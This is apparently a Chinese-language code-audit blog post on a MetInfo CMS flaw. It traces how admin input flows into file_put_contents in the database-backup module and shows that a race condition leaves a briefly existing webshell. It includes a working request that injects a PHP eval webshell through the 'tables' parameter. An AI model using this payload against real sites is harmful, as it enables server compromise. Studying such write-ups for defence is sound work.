0X01 分析

这个洞和我13号在yxcms里的那个远离差不多。思想就是在file_put_contents的内容可控, 然后一瞬间,删了。ok,条件竞争吧。

sink点位于metinfo/app/system/databack/admin/index.class.php的docache_write()

  1. <?php
  2. /*写入数据库缓存文件*/
  3. function docache_write($file, $string, $type = 'array'){
  4. global $_M;
  5. if(is_array($string))
  6. {
  7. $type = strtolower($type);
  8. if($type == 'array')
  9. {
  10. $string = "<?php\n return ".var_export($string,TRUE).";\n?>";
  11. }
  12. elseif($type == 'constant')
  13. {
  14. $data='';
  15. foreach($string as $key => $value) $data .= "define('".strtoupper($key)."','".addslashes($value)."');\n";
  16. $string = "<?php\n".$data."\n?>";
  17. }
  18. }
  19. file_put_contents(PATH_WEB.ADMIN_FILE.'/databack/'.$file, $string);
  20. }

回溯:
屏幕快照 2019-11-15 上午11.22.17.pngi
看这个方法里,471行,我们如果控制了$tables那么ok。 如何才能达到这里?
在这个函数块中, 有三处赋值$tables的statement。

  1. 参数
  2. $_M[‘form’][‘tables’]
  3. $this->dotableprearry($tablepre)

查了一下哪些调用dogetsql方法的位置,文件内部使用。在该文件27行数据库备份时调用该方法。523行整站备份调用该方法且都没有传参。736行打包自定义数据表的时候调用了该方法传入$_M[form][tables]
$_M是个全局变量, 看第二处$_M[‘form’]数组,从名称上来看好像是个表单数组。而第三处传入的是$_M[‘config’]看起来像是配置文件信息,重防区可控概率不是很大。于是判断从第二处控制。找控制$_M[‘form’]的点。
来看一下$_M数组的定义

$_M数组是一个包含了网站设置,系统调用等信息的总和数组,具体内容如下:
$_M[form]:提交的GET,POST,COOKIE表单数组。在系统中不要直接使用$_POST,$_GET,$_COOKIE,这些都是没有过滤的,$_M[form]中是已经安全过滤后的数组。

OK, 首先这是一个全站通用数组, 其次他是GPC的过滤版本。

$_M[‘form’]在哪里初始化的呢?
metinfo/app/system/include/class/web.class.php

  1. <?php
  2. /**
  3. * 重写common类的load_form方法,前台对提交的GET,POST,COOKIE进行安全的过滤处理
  4. */
  5. protected function load_form() {
  6. global $_M;
  7. parent::load_form();
  8. foreach ($_M['form'] as $key => $val) {
  9. $_M['form'][$key] = sqlinsert($val);
  10. }
  11. if ($_M['form']['id']!='' && !is_numeric($_M['form']['id'])) {
  12. $_M['form']['id'] = '';
  13. }
  14. if ($_M['form']['class1']!='' && !is_numeric($_M['form']['class1'])) {
  15. $_M['form']['class1'] = '';
  16. }
  17. if ($_M['form']['class2']!='' && !is_numeric($_M['form']['class2'])) {
  18. $_M['form']['class2'] = '';
  19. }
  20. if ($_M['form']['class3']!='' && !is_numeric($_M['form']['class3'])) {
  21. $_M['form']['class3'] = '';
  22. }
  23. }

metinfo/app/system/include/class/common.class.php

  1. <?php
  2. /**
  3. * 获取GET,POST,COOKIE,存放在$_M['form'],系统表单提交变量数组
  4. */
  5. protected function load_form() {
  6. global $_M;
  7. $_M['form'] =array();
  8. isset($_REQUEST['GLOBALS']) && exit('Access Error');
  9. foreach($_COOKIE as $_key => $_value) {
  10. $_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
  11. }
  12. foreach($_POST as $_key => $_value) {
  13. $_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
  14. }
  15. foreach($_GET as $_key => $_value) {
  16. $_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
  17. }
  18. if(is_numeric($_M['form']['lang'])){//伪静态兼容
  19. $_M['form']['page'] = $_M['form']['lang'];
  20. $_M['form']['lang'] = '';
  21. }
  22. if($_M['form']['metid'] == 'list'){
  23. $_M['form']['list'] = 1;
  24. $_M['form']['metid'] = $_M['form']['page'];
  25. $_M['form']['page'] = 1;
  26. }
  27. if(!preg_match('/^[0-9A-Za-z]+$/', $_M['form']['lang']) && $_M['form']['lang']){
  28. echo "No data in the database,please reinstall.";
  29. die();
  30. }

然后就是大魔王:

  1. <?php
  2. /**
  3. * 对字符串进行反斜杠处理,如果服务器开启MAGIC_QUOTES_GPC。则不处理。
  4. * @param string/array $string 处理的字符串或数组
  5. * @param bool $force 是否强制反斜杠处理
  6. * @return array 返回处理好的字符串或数组
  7. */
  8. function daddslashes($string, $force = 0) {
  9. !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
  10. if(!MAGIC_QUOTES_GPC || $force) {
  11. if(is_array($string)) {
  12. foreach($string as $key => $val) {
  13. $string[$key] = daddslashes($val, $force);
  14. }
  15. } else {
  16. if(!defined('IN_ADMIN')){
  17. $string = trim(addslashes(sqlinsert($string)));
  18. }else{
  19. $string = trim(addslashes($string));
  20. }
  21. }
  22. }
  23. return $string;
  24. }

这里的过滤主要是防注入,addslashes还有sqlinsert的sql注入黑名单过滤。
师傅的payload里没有引号:

  1. 127.0.0.1:8888/metinfo/admin/index.php?n=databack&c=index&a=dogetsql&anyid=13&lang=cn&tables=<?php eval($_GET[2]);?>&fileid=1

tables=<?php eval($_GET[2]);?>
这样就有shell存在的瞬间。屏幕快照 2019-11-15 下午2.20.20.png
果然是第二个位置传入的

屏幕快照 2019-11-15 下午2.22.15.png
不过话说这种后台csrf+条件竞争可利用性高吗?等我有空试一下。

0x02总结

第一次审metinfo,有意思的一个是目录结构,开始以为不是单入口,但是发现虽然很多文件夹,访问路径也不同,但是还是会都流入到entrance.php这个入口。
一个就是这个$_M,之间看到的需要全局调用的信息通常都存个静态变量,这里存了一个global变量。每次用都global $_M一下。